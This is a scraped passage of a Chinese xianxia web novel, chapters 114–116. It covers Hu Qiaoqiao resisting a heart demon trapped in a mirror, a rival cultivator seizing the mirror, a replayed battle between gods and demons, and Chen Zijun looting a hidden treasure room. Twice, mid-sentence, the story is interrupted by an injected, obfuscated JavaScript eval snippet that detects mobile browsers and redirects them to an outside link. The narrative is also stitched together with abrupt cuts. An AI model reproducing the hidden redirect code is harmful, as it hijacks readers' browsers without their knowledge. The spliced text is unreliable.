“呵……说谎也要说得像样些,这里怎么可能有长生花?”李玥轻笑一声,语气里,带着很平淡的倨傲,“我知道,你是想来这里碰碰运气,寻找那场大战中尚未被完全损坏的法宝吧。” “不,我真的是来找长生花的。” “行了,我不管你来找什么,”李玥不置可否,只冷冷道,“我只好心提醒你一句,此地深厚的魔气会侵蚀命魂,不是你这种普通散修该来的地方。如果我是你,就会马上离开!不然,等出了什么事,悔之莫及!” 这里的魔气,会侵蚀命魂? 胡翘翘一愣,抬眸看向李玥,迟疑地问道:“可是……你不也在这里吗?” “果然是散修,连这点都不知道,”李玥哂笑了声,神情轻蔑,“别的修士,会惧怕魔气侵蚀命魂,但唯独我们天星宗的巨门、太阴两脉弟子是例外!巨门星力,能转换魔气为己用,太阴星力,可净化魔气的魔性!除了我们之外,其余的修士,都难以抵抗魔气的长期侵蚀!” 太阴星力,能净化魔气? 胡翘翘乌溜溜的眼珠转了转,不动声色地催动太阴星力。 果不其然,那些魔气刚渗入魂海,就被月光般的太阴星力包裹住。 这太阴星力虽然微弱,却带着不容侵犯的圣洁,能将属于魔气的暴戾残忍一点点磨灭。 尽管以她如今的修为,能够净化的魔气还很有限,但至少能暂时在这魔气弥漫之地,待上一段时间而不会受到太大的影响。 小狐狸的心中顿时一定,暗暗松了口气。 见她不说话,李玥有些不耐了,“还愣着干什么,快点离开!” “谢谢你的提醒,不过,我暂时不走,”胡翘翘底气稍足,摇着小脑袋,“我想先看一看,能不能找到长生花。” “你……”李玥的眼中闪过一丝寒芒,真是个不知死活的小散修! 她扫了胡翘翘一眼,冷笑道,“好言难救该死的鬼!你既然要执意找死,那便随你去吧!”说罢,她便转身,御剑而去。 看着李玥的背影,胡翘翘心中有些嘀咕。 “都说仙师们要考核心性,怎么这个天星宗的女修,说话如此高傲?” 她却不知道,天星宗十四星宫中,便以巨门星力,最为阴冷晦暗,因此巨门一脉的弟子,受星力影响,也比别的修士更为冷漠,更为阴深,甚至行事作风也受到了星力影响,变得诡秘莫测,有时为达目的,还可能如妖邪一般不择手段。 飞到战场的正中心,李玥方才停下,运转巨门星力,轻喝一声,“幽冥之门!” 只见虚空之中,一道门户缓缓打开。 它没有边框,没有装饰,仿佛是从无尽深渊中剥离的一块巨大黑曜石,散发着令人心悸的幽暗气息,门后,是一片深不见底的黑暗,吞噬着一切试图窥探其后的目光,仿佛死亡本身就蛰伏在这扇门的背后,等待着将生者的灵魂拖入永恒的黑暗。 “亡灵听命!” 一阵阵低沉的吟诵声从门后传来,像是来自远古的咒语,又像 第114章 心魔蛊惑 胡翘翘露出疑惑之色,“……那你把我弄进来,又想干什么?” “马上,你就知道了!” 下一瞬,心魔化为一片黑雾,猛地扑向了胡翘翘。 心魔是域外魔族中的一种,它无形无体,是最难对付的魔族之一。 心魔本身没有伤人的手段,但它们最擅长一种能激发出人类心中的邪念和欲望的魔族秘术。而当人类的邪念和欲望壮大到一定程度,神魂又不够坚定的话,便会失去自我控制,被心魔入侵命魂,从而沦为心魔的傀儡,也就是俗话说的入魔。 “嘻嘻嘻……”它发出奇异的笑声,声音中带着一丝戏谑,“等我激发出你心中的邪念和欲望,你的命魂就会为我所控,从而堕入魔道,也就是你们人类口中的……入魔!到那时,我就能离开这面宝镜,重返人间!” …… …… 酒虫舔完了那滴猴儿酒,似乎意犹未尽,触须四处晃动,还想寻找更多。 就在这时,一只手闪电般探出,一把将它抓在了手中。 酒虫顿时惊慌失措,拼命挣扎起来,但它那点微弱的力量,在陈子均的手中根本翻不起任何浪花。 “小东西,喝了我的猴儿酒,还想跑?”陈子均看着手中的酒虫,嘴角露出一丝笑意,将它放进一个玉瓶内,并加上了防止它逃走的封印。 随后,他又拿出了那装着猴儿酒的葫芦,轻轻拔出木塞。 酒香味儿飘出的同时,原本还在扭动挣扎的酒虫,先是停顿了一下,紧接着,它仿佛感受到什么,在玉瓶中扭动得更加疯狂,不过,这一次,不是挣扎,而是强烈无比的渴望! 它渴望这酒! 它要喝它! 看到此景,陈子均笑了起来,指尖轻弹,又一滴晶莹剔透的猴儿酒落入瓶中,“我也不多,这次姑且再给你一滴,以后还得稀释了才能给你喝了。” 酒虫立即张开嘴,迫不及待地将这滴猴儿酒吞了进去。小小的身躯瞬间被点燃一般,原本鲜红的颜色更加夺目,仿佛一团跃动的火焰,连尾巴尖都透着醉人的酡红。 陈子均吩咐道,“好了,现在带我去找这里的藏宝之处。“ 其实,他自己也能轻松找到,但他想要见识见识这酒虫的本事。 酒虫晃了下脑袋,似乎在点头。 等陈子均一解开封印,它便从瓶口飞了出来,醉醺醺地在空中转了个圈,而后摇摇晃晃、歪歪扭扭地向前飞去。 陈子均有些好笑地看着它,这小东西,区区两滴猴儿酒下肚,便醉成这副模样。。 不过,这酒虫虽然醉了,带路却还算靠谱。 七拐八拐之后,它最终停在一片虚空前,晃动着触须,对着那里一阵比划,像是在邀功,又像是在催促。 陈子均挑眉,这小东西还真有点本事。 口中却问:“就在这?你确定没搞错?” 酒虫不满地扭动着胖乎乎的身体,对着陈子均吐出一串酒气,仿若在说:“哼,本大爷可是寻宝高手!” 陈子均勾起嘴角,伸手在前方一抹,虚空突然泛起一阵涟漪,随后,一扇石门缓缓浮现,上面雕刻着繁复的花纹,散发着古朴沧桑的气息。 石门之上,有一个圆孔,一颗宝珠镶嵌其中,正源源不断地喷吐着浓浓的雾气,将周围的空间都渲染得迷离恍惚。 “原来是蜃珠。” 这珠子没别的用处,只能制造大量的迷雾。这阵法的设计者以蜃珠作为阵眼,再辅以能混淆空间感的阵法,所以人进入迷雾后,便会在里面兜兜转转,找不到正确出路。 陈子均伸手将蜃珠取下,收入囊中。随着蜃珠被取走,周围的迷雾也如同被风吹散一般,迅速消散。 酒虫摇头晃脑,似乎在催促陈子均快点开门。 陈子均微微一笑,伸手触碰石门,一股强大的力量瞬间反弹回来,震得他手臂发麻。 “还有一层封印,有些意思。”陈子均沉下心神,仔细观察着石门上的符文。 片刻后,他双手结印,一道道法诀打入石门之上,顿时光芒大盛,一股强大的力量波动从石门上传来。 “轰隆”一声,门缓缓打开。 一间不算大的石室,出现在陈子均的眼前。 石室的中央,生长着一棵奇异的宝树。 这宝树高约三丈,枝繁叶茂,树干呈现出一种晶莹剔透的碧色,散发着淡淡的清香。在树枝的顶端,结着一颗金色的果实,这果实也就比婴儿拳头稍大,但表面流光溢彩,散发着浓郁的灵气。 “这是……道树?!” 陈子均也不禁瞳孔微缩,脸上露出惊讶之色。 道树,传说中的神树,每百年能结出一颗道果,而道果之中,蕴含着一丝大道至理,神通境的修士若是有幸一尝这道果,就有机会一窥天道,突破瓶颈,踏入更高的境界。 没想到,道树竟然被人藏在了这不起眼的长陵秘境之中。 难怪这么多年来,他从没在大世界中听说过道树的消息。 “吱吱吱!”酒虫也兴奋地叫了起来,围着那棵树打转,似乎也知道这是好东西。 “你吃了无用,”陈子均弹了它 一下,笑道,“回去再给你一些猴儿酒吧。” 酒虫听懂了,这才安静下来。 陈子均的目光又落在了道树旁边的一颗龙眼大小的珠子上,那珠子通透如同水晶,但在珠子中间,隐隐约约间有一条小龙在腾跃飞舞,侧耳倾听,似乎还能听到龙吟之声。 陈子均心中一动,伸手将那颗珠子拿了起来。 这珠子虽比不上道树,却也极其珍贵。 它是龙珠。 龙珠,乃是真龙一身精华所在,蕴含着强大的龙族血脉之力,若是被妖怪得到,吞服之后,便有极大的机会蜕变成真龙,一飞冲天。 除了道树和龙珠,石室内还有一些其他的宝物,虽比不上前两者珍贵,却也都不可多得。 陈子均将它们一一收起。 “咦?”就在这时,他的目光突然落在了角落里的一个玉盒上。 陈子均的心中突然升起一股异样的感觉。 伸手打开玉盒,见到里面的东西后,顿时,冲出巨大的惊喜。 “竟是造化玉莲的种子!” 造化玉莲,每千年可增加一品,等长到三品之后,便可活死人,肉白骨,到五品后,甚至能重无到有,重塑肉身! 而佛门圣人身下坐着的莲台,便是九品的造化玉莲。 对他来说,从某种意义上,这东西的价值,甚至比道树和龙珠加起来还要高! 蓦地,陈子均神念一动。 方才他留给那雌孔雀的树叶,竟传来了感应之力! 他连忙将玉盒收起,然后施展传送神通。 下一刹那,便出现在了孔雀一族的山谷内。 …… …… 镜中空间。 “怎么可能?!!”心魔发出一声匪夷所思的咆哮,“这世上怎么会有这样的女子?!” 心思纯白如一片白纸,没有丝毫欲望,良善如同初生的婴儿,没有半分邪念! 它使出了浑身解数,想要诱惑胡翘翘,但都无济于事。 无数的天材地宝,闪耀着诱人光芒的高阶法器,以及传说中能生死人肉白骨的灵丹妙药,如同小山般堆积在胡翘翘面前。这些东西,随便拿出一件,都会引起无数修士的疯狂,这一刻,它们在胡翘翘的面前堆积如山。 “想要吗?想要就归顺于我……” 然而,小狐狸连看也没看一眼,丝毫不在意的模样。 “不用啦,”她轻笑着,语气中带着一丝天真,“我要这么多东西有什么用?” 心魔差点一口老血喷出来。 ”你这小妮子,身在福中不知福!“心魔咬牙切齿地说道,“你可知,这些宝物,是多少人梦寐以求,甚至不惜一切代价想要得到的?!” “那又如何?”胡翘翘笑了,目光中全是坚定,“相公常说,钱财乃是身外物。腰缠万贯,不过一日三餐;房屋千间,不过夜睡一榻。得到越多,心中的欲壑便越填不满,最终只会迷失自我。所以,我不需要这些东西,我只要相公就够了。” 心魔郁闷。 它不信邪,镜中空间一阵变换,展现出无上的地位和力量,那是俯瞰众生,掌控一切的权柄。 “归顺我,我教你魔族至高秘术,助你成为一代魔神,随心所欲,呼风唤雨,这世间的一切都将匍匐在你脚下!” 心魔的声音充满了蛊惑。 然而,胡翘翘的眼神依旧平静清澈。 “整天打打杀杀,实在无聊,还不如和相公一起,游山玩水,逍遥快活呢。” 心魔彻底无语了,蓦地,心中又是一动。 这小妮子,一口一个相公,想必易为美色所惑! 也对,像她这个年龄的人类姑娘,正是少女怀春之时,怎么可能不憧憬一份浪漫情缘?! 于是,他身形一晃,化作一位青年。 这青年身穿白衣,气质出尘,宛如谪仙一般。一双桃花眼,仿佛蕴藏着万种风情,让人忍不住沉醉其中。 白衣公子微微一笑,声音如春风拂柳,目光中更是带着说不出的温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14892985|159967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柔和深情,“姑娘,你且看看我,与你那相公相比如何?你若倾心于我,我便许你荣华富贵,长生不老,更能让你体会到这世间男女之间最为幸福之事……” 胡翘翘抬眸,上下打量了他一眼,嘴角勾起一抹清浅的微笑,眼神依旧清澈见底,“你长得再好看,在我心里,也比不上相公的一根头发。这世间的美男子,就算都站在我面前,我也只喜欢他一个人。“ 说到此处,胡翘翘的脑海中浮现出陈子均的身影,眼中的思念与眷恋几乎要满溢出来。 她真的好想念相公啊! 闻言,那白衣青年的脸上一僵。 他可是堂堂心魔,幻化成人形,不知道迷倒了多少女子,没想到,今日竟然被一个小丫头,如此嫌弃! 这小妮子,满心满眼,都是她的相公,根本没有半点杂念。当真是让他无计可施。 “难不成,这就是人类口中的,真爱无敌?”心魔的心中,第一次涌起一股无力感。 蓦地,新的一计生出。 胡翘翘的眼前,突然出现了陈子均和一个陌生的美貌女子。 “相公 太久,实力还不到最强时期的万分之一。 更何况,胡翘翘施展的虽只是最低级的风刃术,但其中蕴含着太阴星力的净化之力,对魔族的伤害之力比一般的修士要更强! 很快,心魔又连续挨了好几下,遍体鳞伤。 它咬牙切齿,眼中闪过一丝狠厉。 “该死,真以为我拿你没办法么?!” 它正要发动那损耗极大的魔族秘法,打算不惜一切代价,强行侵入胡翘翘的命魂,将她彻底掌控。 却在此时,镜内空间突然剧烈晃动起来,像是水面上的倒影,随时可能破碎。 “怎么回事?”心魔惊疑不定,它明明已经彻底掌控了这面铜镜,怎么会出现这种情况? 下一瞬,一股奇异之力冲入了镜内空间,如同无形的大手,将胡翘翘的意识从铜镜中一把拽了出来。 “姑娘,你没事吧?”一个似曾相识的声音,带着些许担忧和关切,传入了胡翘翘的耳中。 意识回归体内,胡翘翘睁开双眼,看到了那声音的主人。 “怎么又是你?” 胡翘翘愣了一下,心中又是惊讶,又是感激。 竟然又是前几天曾帮过她的那个陌生男修! “是这样,我刚巧路过这边,见到姑娘你在这里捧着一面镜子发呆,神色有异,便过来看了一眼,”男修温声解释道,“不料却突然察觉你似乎被这镜中的心魔所扰,所以才出手相助了一下。” 胡翘翘顿时恍然。 “多谢道友,又一次帮了我!” “又一次?”男修微怔。 胡翘翘这才想起,自己上次蒙着面纱,对方或许还没认出来,她连忙比划着,说,“就是前几天,有个胖胖的骗子,想抢我的东西,是你帮我制止了他……” “啊,是你。”男修轻咳了一声,似乎恍然。 接二连三地受这人帮助,胡翘翘心中满是感激,问道,“敢问道友姓名?” “在下……”男修顿了顿,才道,“姓萧,名凡。” “原来是萧道友,那个,我叫胡翘翘,等以后有机会,一定好好报答道友的相助之恩!” 胡翘翘有些不好意思地说完。 咳,主要她实在想不到,以她现在的本事,能做什么来报答这位实力应该比她强上十倍的道友。 只能留待以后了。 “不过是举手之劳,不必挂怀。“那叫做萧凡的男修微微一笑,目光却转向四周,眉头微皱,“只是,这一带是上古的神魔战场,残留的魔力十分浓厚,危机四伏,以胡道友的实力,似乎不太适合这里,不知……” 他顿了顿,才又开口道:“胡道友怎么会来此地?” “我……“胡翘翘犹豫了一下,决定实话实说,”我是来找长生花的。“ 萧凡微微一怔,随即笑道:“这里是神魔古战场,魔气侵蚀,连凡草都生不了一根,怎么可能会有只在灵气充溢之地生长的长生花呢?” “嗯,你说得对,”胡翘翘抿着唇,小小地惆怅了一会儿自己的愚蠢,“我应该是被那只长着人脸的坏兔子给骗了。” 真没想到,长得那么单纯可爱的妖怪也会骗人。 唉,果然是,知兔知面不知心呀。 “我知道了,胡道友定是遇到了讹兽,它从不说真话,还专干一些损人不利己的事儿。”萧凡呵呵笑了起来,“《妖兽图鉴》和《修士常识》中都有它的相关记录,想必胡道友没看过那两本书。” 第115章 神魔之战 虽然对方的话语和眼神中都没有丝毫嘲讽之意,但胡翘翘还是恨不得找个地缝钻进去。 心中暗暗发誓,等出了秘境,她一定要找来那什么《妖怪图鉴》、《修士常识》的,还得让相公监督她,不让她再一边看书一边打瞌睡。 好在,萧凡只是笑了两声,便说出了另一句让她瞬间瞪大了眼睛的话。 “对了,我倒是知道在哪儿能找到长生花。” 方才在那只雀妖的地图上,他便看到了有关长生花的标注。 “咦,真的吗?“胡翘翘的眼睛瞪得更大了。 “自然是真的。” “那……萧道友能告诉我吗?”说完,胡翘翘又连忙补充道,“我知道,这信息一定很珍贵,当然不能让道友白给我……” 她摸了摸储物袋,垂下头,有些不好意思地道,”那个……我这里有些东西,待会儿让道友看看,可有瞧得上的,就当是用来交换长生花的信息……如果道友都看不上眼,那就算是我欠道友一个人情,以后一定还!” 萧凡沉默了片刻,忽地叹了口气,“我说,道友怎么还是这么傻?” “啊?” “上次你就差点被骗了,难道没长点记性?这次怎么又这么轻易相信我……就不怕我也是在骗你?”萧凡环顾四周,语气中带了几分严肃,“何况,之前是在城中,众目睽睽之下,倒也不必太过担心。如今身处秘境之中,道友怎么能还无丝毫防人之心?倘若我看中你的宝贝,心怀不轨,直接动手杀人夺宝,也不会有人知晓。” “……”胡翘翘沉默了会儿,才说,“可是,萧道友是好人呀。” 萧凡轻笑一声。 “你怎么知道?” “如果道友想对我不利,方才就不会帮我了。” “……” 萧凡扫了一眼,指着她还握在手中的铜镜,“这样吧,你将这面镜子给我,作为交换吧。” 胡翘翘一愣,说,“可是……这是我方才随手捡到的……不是我的……” “这镜子也算是一件不错的法宝了,能,何况这类原主已逝的法宝,一般来说,谁捡到便归谁所有。” “但……这镜子里有心魔……” “无妨,我自能解决。 “……真的?” “嗯。” 见萧凡如此说,胡翘翘这才放下心。 她正要将铜镜递过去,一道身影忽然飞了过来。 未见其人,先闻其声,一个冷傲的女子声音,居高临下地传来:“慢着,你手里是什么东西?” 胡翘翘一抬头,便见到了先前她遇到的那位名叫李玥的天星宗女修。 她下意识地将镜子藏到身后,含糊道:“没什么。” 李玥居高临下地俯视着胡翘翘,语气不容置喙:“给我看看。” “……” 短暂的沉默后,李玥失去耐心,手轻轻一抬。 胡翘翘忽地感到,一股无形的力量将她手中的铜镜给强行吸走。 随后,铜镜稳稳地飞到了李玥的手中。 一股古老而强大的气息扑面而来,李玥瞳孔微微一缩,呼吸也为之一滞,仅仅是神念粗略一扫,她便已断定,这是一件不可多得的宝物! 好宝贝! 虽然尚未完全了解这件法宝的具体用途,但她能感觉到,这面铜镜保存完好,威力非凡! 李玥眯起双眼,目光扫过眼前的二人,心念如潮水般快速涌动。 如此宝物,落在他们的手中,无疑是明珠蒙尘。 唯有她才配拥有。 贪念如同藤蔓,在她心中悄然滋生,没错,唯有她才配拥有。 若是身处外界,她还要顾忌宗门颜面和门规戒律。但此处是长陵秘境,本就是各凭本事争夺机缘的地方,更何况秘境之中毫无规则可言,她更不必有所顾忌。 他们若是识相,乖乖交出宝物也就罢了,若是敬酒不吃吃罚酒…… 李玥的嘴角勾起了一抹冰冷的弧度。 “这镜子我很喜欢,就由我收下了。” 她直接将铜镜收入储物袋中,接着,又随手丢给胡翘翘一个瓷瓶。 胡翘翘下意识地接住,打开一看,里面是几颗圆滚滚的丹药。 “一瓶止血丹,就当做是交换。“李玥淡淡说完,便看也不看两人一眼,转身便欲离去。 胡翘翘顿时生气了。 她就算不识货,也能从李玥的态度中察觉到,这面铜镜的价值,远非一瓶止血丹可比。 何况,对方自始至终没有询问过两人的意见,就直接将铜镜收入囊中,甚至还用一副施舍般的态度,仿佛理所当然。 简直欺人太甚! 更关键的是,她已经答应了将这镜子给萧道友,用来换取长生花的信息! “李道友,我没有答应和你交换!”胡翘翘深吸一口气,努力压抑住心中的怒火,一字一句地说道,“请你将它还给我!” 李玥顿住脚步,扭头看着她,嘴角勾起一抹嘲讽的弧度,“你说什么??” “我没有答应和你换!”胡翘翘握紧拳头,说,“而且,它的价值肯定不止一瓶止血丹,李道友,麻烦你将它还 眼中燃烧着幽暗的火焰。这只眼球庞大无比,几乎堪比一座房屋,几条粗大的血管从眼球中伸出,在空中挥舞,如同触手一般。 一个威严而恐怖的声音响彻整个城池。 “献祭,现在开始!” 一道火焰从巨眼中射出,精准地落在了祭坛的干柴上。 轰! 火光顿时冲天,吞噬整个祭坛! 无数人类被焚烧,发出凄厉惨嚎! 这残忍的一幕,却换来了那些怪物们更加疯狂的的欢呼! 它们挥舞着手中的白色骨棒——那分明是人类的大腿骨,口中发出古怪的语言,仿佛是在高呼:“烧!烧死这些人类!” 一个小怪物,挤在怪物群中,好奇地望着眼前的一切。在他的眼中,这不是恐怖的献祭,而是一场盛大的宴会。他学着其他怪物们的样子,挥舞着手中的骨棒,欢呼着,雀跃着,全然不知死亡和杀戮为何物。 “这、这是什么?”胡翘翘睁大了眼。更奇怪的是,竟没有任何人注意到她和萧凡。 难道是幻觉? 突然,变故再次发生。 “你们这群无恶不作的魔族!” 一个饱含着怒气的女声,在祭坛上空炸响,九天之上,风起云涌,电闪雷鸣! 那些狂热的魔族们心头一颤,献祭的喧闹声戛然而止。 所有魔族都抬起头,而后,只见一道耀眼的光芒,如同九天银河倾泻而下,将整个祭坛笼罩,而那火焰,也顿时熄灭。 与此同时,无数道强大的气息,撕裂空间,数道神圣的身影,便在这光芒中缓缓浮现,出现在祭坛之上。 女娲娘娘身披五彩霞衣,手持女娲剑和星河图,慈悲的面容上此刻满是寒霜! 伏羲大帝手托洛书,面色冷峻,眼中神光闪烁,洞察着一切! 还有名手持红色神弓、白色羽箭的青年,环顾四周,目光冰冷,如同看待一群蝼蚁。 在他们三个的身后,还有密密麻麻数以千计的人族修士。 “魔族!“青年取下神弓,弯弓搭箭,声音如同来自万古冰窟的寒风,“你们这些毫无人性的畜生!不由分说,就杀入我们的世界,屠戮我们的人民!今日,我后羿,便要替天行道,将你们这些邪魔外道,彻底诛杀!” 自他的弓箭上,一股无形的力量,在祭坛上空弥漫开来。令所有魔族都感到呼吸困难,瑟瑟发抖。 寒光绽放。 那只箭,那只带着刻骨的仇恨和愤怒的利箭。 猛地射了出去。 一根箭,迅速化为数千数万根,朝着四面八方激射而出。 这攻击迅猛无比,只是一瞬间,便覆盖了肉眼可及的的范围。 所有的魔族都感到喉咙一凉,下意识地伸出手,捂住了自己的咽喉。 一个魔族缓缓摊开手掌,只见掌心之中,赫然是一滩温热的鲜血,那是属于他自己的鲜血。 魔族的血液,竟也是红色的。 他张开嘴,想说些什么,却发现自己的视野在不断旋转,最终,他看到了自己的身体,以及,周围无数颗同他一样,滚落在地上的头颅。 那个小魔族,也未曾幸免,脑袋滚在一边,鲜血自他的脖子里喷涌而出,将地面染成触目惊心的红色。 修士们,也纷纷动手。 无数神通、法宝之光,潮水般地汹涌而起,轰向一些未曾被箭矢波及到的魔族身上。 魔族凄厉的叫声,响彻天空。 还有一座座魔族房屋,也在攻击中,尽数轰然倒塌。 整座城池,顿时大半变成了废墟。 突然,数十名极为强大的魔族飞了过来,其中,还有不少实力只略弱于女娲与伏羲的魔神存在! 眼前人间炼狱般的惨状,令这些魔族发出震天撼地的怒吼。他们猩红着双眼,如同狂风暴雨般朝着诸神和修士们杀去。 尤其是其中一名三头六臂的魔神,攻击速度快若闪电,力量更是强大无比,只是眨眼间, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14892986|159967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就将两名悟道境的大修士的头颅打得粉碎,鲜血四溅。 那魔神张口,念念有词,突然间,所有被血液溅到的修士,身躯如同吹气般膨胀,砰地炸成漫天血雾! 这是魔族的血祭秘法! “孽障,安敢如此!”女娲娘娘祭起星河图,冷喝道,“画地为牢!” 数道白色星光射出,形成一座牢不可摧的光牢,将那名魔神困在其中,紧接着,女娲剑带着开天辟地的威势,直接将它劈成两半! 余下的几名魔神,已冲进人群,他们咆哮着,嘶吼着,准备大开杀戒。 这时,伏羲的手中,先天神器洛书亮起了三道光芒。 起初,这三道光只是星点般微弱,转瞬之间,便变得巨大无比,三道璀璨如烈日般的符文,一实两虚,照亮了整个天空。 “艮为山,镇压万物!” 天地间,仿佛有一座无形的巨山凭空出现,带着镇压一切的恐怖威能,将那些魔族死死压在地上,任他们如何挣扎,也无法动弹分毫。 “震为雷,万魔伏诛!” 金色雷霆从天而降,化作一片雷海,将那些被镇压的魔族尽数淹没。 他们 发出凄厉无比的惨叫,但很快,被雷光淹没。 突然间,天边传来一声震天动地的怒吼,浩浩荡荡的魔气自天边席卷而来,数十道魔族的身影如流星般坠落。 为首那魔神,身形伟岸,一手持巨斧,一手持盾牌,强横的威压令天地都为之变色! 女娲、伏羲与后羿,认出对方后,面色瞬间凝重。 即便是他们,也知道这魔神的赫赫凶名! “刑天!” 魔族的八十一位魔将之中,实力仅次于大魔将蚩尤的刑天! 他的实力,甚至已不在伏羲与女娲之下! 刑天怒吼一声,一步踏出,虚空崩碎,手中巨斧裹挟着开天辟地的威势,朝着伏羲当头劈落! 与此同时,其余魔族也纷纷杀来。 一时间,神通与法宝的光芒交织在一起,如同惊涛骇浪般,一波接着一波,声势浩大,最终狠狠地碰撞在一起。 这一场大战,惊天动地。 魔气与神光交织,血肉与白骨横飞,虚空被撕裂出一道道巨大的裂缝,仿佛世界末日降临。 许久之后,这场战斗才终于落下帷幕。 除了身负重伤,破开空间逃走的刑天之外,其余的魔族,尽数被斩杀。 但人族这边,亦是付出了惨痛的代价。 后羿重伤垂死,数千名修士只余下百人不到,伏羲的一条手臂被生生撕裂,女娲的女娲剑也在与刑天大斧的交战中被魔气侵蚀,威力尽失,且难以恢复。 惊心动魄的画面,渐渐消散。 四周,又恢复了那白骨森森、一片死寂的模样。 “这、这究竟是怎么一回事?” 小狐狸心头怦怦乱跳,喃喃自语。 “这是当年发生在这里的神魔之战,”萧凡轻声道,“因为这里的空间法则被破坏,所以它被虚空记录了下来,偶尔会出现在人们的面前,如同昨日重现。” “原来是这样。”胡翘翘恍然。 这时,萧凡又略带歉意地道:“对了,胡道友,在下突然想起,还有一件重要之事要做,不能带你去找长生花了。” “啊?”胡翘翘顿时呆住了。 但紧接着,萧凡从怀中掏出一张兽皮,用指尖在上面勾勒,很快,上面出现了一些发光的线条。 片刻之后,萧凡将兽皮递给她,“这是前往长生花所在地的地图,你只需按照图上的路线,便可找到。” 胡翘翘连忙接过地图,仔细一看,上面详细地标注了前往长生花所在之处的路线,甚至连沿途可能遇到的危险也一一注明,可谓细致入微。 “多谢萧道友!“胡翘翘心中感动不已,对着萧凡鞠了一躬,认真道,“萧道友,这次真的太感谢你了,要不是你,我真不知道该怎么办才好,这份恩情,我一定会报答你的!“ ”举手之劳而已,不必挂齿。”萧凡笑了笑,道,“我祝道友一路平安,顺利找到长生花!” “嗯!”胡翘翘用力点头,“那个……” 她本想问萧凡,以后若想要报答他,该如何找他,没想到话还没说完,萧凡已经身形一晃,化作一道光,消失在天际。 胡翘翘抬头看着萧凡消失的方向,喃喃道:“萧道友不仅实力高强,而且还心地善良,乐于助人,真是个难得的好人呢!” 她感慨了会儿,才仔细研究好地图,便朝着长生花的方向飞去。 第116章 采花成功 按照地图,胡翘翘一路飞行, 天色渐渐暗淡下来,她体内妖气一点点耗尽,肚子也适时地发出了“咕噜咕噜”的抗议声。 胡翘翘低头看了看手中的地图,还有将近一半的距离。 “先找个地方吃点东西、睡一觉吧,明天再继续!” 很快,小狐狸找到一个干燥的山洞,洞口被藤蔓遮蔽,显得格外隐蔽。 她轻盈地落在了洞口,她小心翼翼地拨开藤蔓,探头向洞内望去,里面有些昏暗,弥漫着一股潮湿的泥土气息,似乎许久无人来过。 为了安全起见,胡翘翘抬手掐了个简单的法诀,一道柔和的白光从指尖飞出,瞬间照亮了整个山洞。 确认洞内安全后,她迈步走了进去,先施了个洁净术,洞穴内顿时一尘不染,原本沉积的灰尘和碎石都被清理得干干净净。 接着,她从储物袋中取出一块柔软的毯子铺在地上,坐下后,又拿出食物和水。 借着昏暗的光线,胡翘翘一边吃着东西,一边想着陈子均。 哎,不知道此刻相公在做什么呢? 是不是也在思念着自己? 想到这里,胡翘翘的嘴角不禁露出一丝甜蜜的微笑,一天的奔波劳碌,她原本已经极为疲惫,但一想到陈子均,就又觉得精神奕奕了。 明天,就能替相公采到长生花了! 吃完东西后,她便躺在那柔软的毯子上,闭上眼睛沉沉睡去。 这一夜,她睡得格外香甜,梦里都是和相公在一起的幸福时光。 她却不知道,在山洞之外,有一双眼睛,亦正温柔地看着她,替她布下了守护安全的阵法。 与此同时,一座空荡荡的石室之中,有个圆脸修士正双目赤红,浑身散发着滔天的怒火。 “怎么会这样?!老祖我藏得如此严密的宝物,究竟是被哪个王八蛋给偷走了!” 他愤怒地咆哮着,声浪滚滚,震得整个石室似乎都在隐隐颤动。 当年神魔大战爆发,他预感到自己难逃一劫,便将毕生珍藏分藏几处,布下重重阵法,更有蜃珠遮掩天机,只待浩劫过后,灵智恢复,再来取回。 谁料想,数万年过去,他好不容易重新恢复了一点儿实力和灵智,立即迫不及待地赶来取回宝物,没想到这第一站就扑了个空, “究竟是哪个王八蛋!居然连老祖我全力布下的乾坤四象八卦阵都能破解掉!”圆脸修士恨意滔天,咬牙切齿,心痛如要滴血,“哎,该死啊……” ”我的道树啊!那可是我花了整整三千年才从天道那里讨来的宝贝啊!“ “还有我的龙珠!那可是我去真龙族的祖墓中盗来的啊!” “还有那颗造化玉莲的种子!那可是我和臭和尚打了三天三夜,才抢过来的……” 他如数家珍了半天,越念越心痛! “不行,我得冷静!“圆脸修士深吸一口气,努力让自己冷静下来,又有些疑惑,”对方既然能破解我的阵法,肯定不是等闲之辈,老子睡觉的这几万年里,竟然还能出这么厉害的角色?该死,究竟是哪个混蛋啊!“ …… 第二天一早,天边刚泛起一抹鱼肚白,胡翘翘便从睡梦中醒来。 她伸了个懒腰,只觉得浑身舒畅,精力充沛。 简单收拾了一番后,胡翘翘便离开了山洞,继续朝着目的地进发。 一路上,山林间鸟语花香,清风拂面,令人心旷神怡,更幸运的是,她这一路上竟然没有遇到任何危险,平静得出奇。 眼见离地图上标注的目的地越来越近,胡翘翘的心情也越来越激动,她仿佛已经看到那株散发着莹莹白光,充满着生命力的长生花在向她招手。 忽然,她感到怀中的青蚨钱微微一热。 “咦?难道是许道友或者石道友在附近?”胡翘翘心中一喜,终于可以不用孤独一个人啦! 她连忙循着那股温热的感觉寻去。 刚飞出十来里路,她便见到了迎面而来的许曼和石珊珊。 这一下,开心乘以二了。 “许道友!石道友!“胡翘翘压抑不住内心的欣喜,朝着她们招手。 许曼和石珊珊也一脸惊喜。 “胡道友!” 但就在这时,胡翘翘忽然心中一个激灵——糟了,她没戴面具! 会不会被认出来? 